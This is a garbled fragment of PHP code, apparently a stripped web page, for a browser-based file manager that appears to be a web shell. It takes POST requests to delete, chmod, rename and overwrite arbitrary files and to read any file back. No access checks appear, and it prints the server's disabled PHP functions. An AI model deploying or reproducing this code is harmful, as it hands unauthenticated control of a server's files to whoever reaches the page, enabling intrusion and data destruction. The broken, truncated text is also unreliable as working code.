Directory: $pat){ if($pat=='' && $id==0){ echo '/'; continue; } if($pat=='') continue; echo "$pat/"; } ?>
Upload failed (check directory permissions)
"; } } // ============ HANDLING INLINE ACTIONS =========== if ($_SERVER['REQUEST_METHOD']==='POST' && isset($_POST['do'])){ $do = $_POST['do']; $target = $_POST['target']; if ($do=='delete') { if (is_dir($target) && @rmdir($target)) echo "Deleted dir $target
"; elseif (is_file($target) && @unlink($target)) echo "Deleted file $target
"; else echo "Failed delete (permissions?) $target
"; } if ($do=='chmod' && isset($_POST['perm'])){ if (@chmod($target, octdec($_POST['perm']))) echo "Chmod success
"; else echo "Chmod failed for $target
"; } if ($do=='rename' && isset($_POST['newname'])){ $newPath = dirname($target).'/'.$_POST['newname']; if (@rename($target, $newPath)) echo "Renamed to $newPath
"; else echo "Rename failed for $target
"; } if ($do=='edit' && isset($_POST['src'])){ if (is_writable($target)){ if (file_put_contents($target, $_POST['src'])!==false) echo "Edit saved $target
"; else echo "Edit failed (write error) $target
"; } else echo "File not writable $target
"; } } // ============ TABLE DIRECTORY LISTING =========== if (is_dir($path)) { echo "Name | Size | Perms | Actions |
---|---|---|---|
$item | "; echo "".(is_file($itemPath)?round(filesize($itemPath)/1024,2).' KB':'--')." | "; echo "".perms($itemPath)." | "; echo ""; if(isset($_POST['do']) && $_POST['target']===$itemPath){ if($_POST['do']=='chmod'){ echo ""; } if($_POST['do']=='rename'){ echo ""; } if($_POST['do']=='edit' && is_file($itemPath)){ echo ""; } } echo " |
".htmlspecialchars(file_get_contents($path))."
=ini_get('disable_functions')?>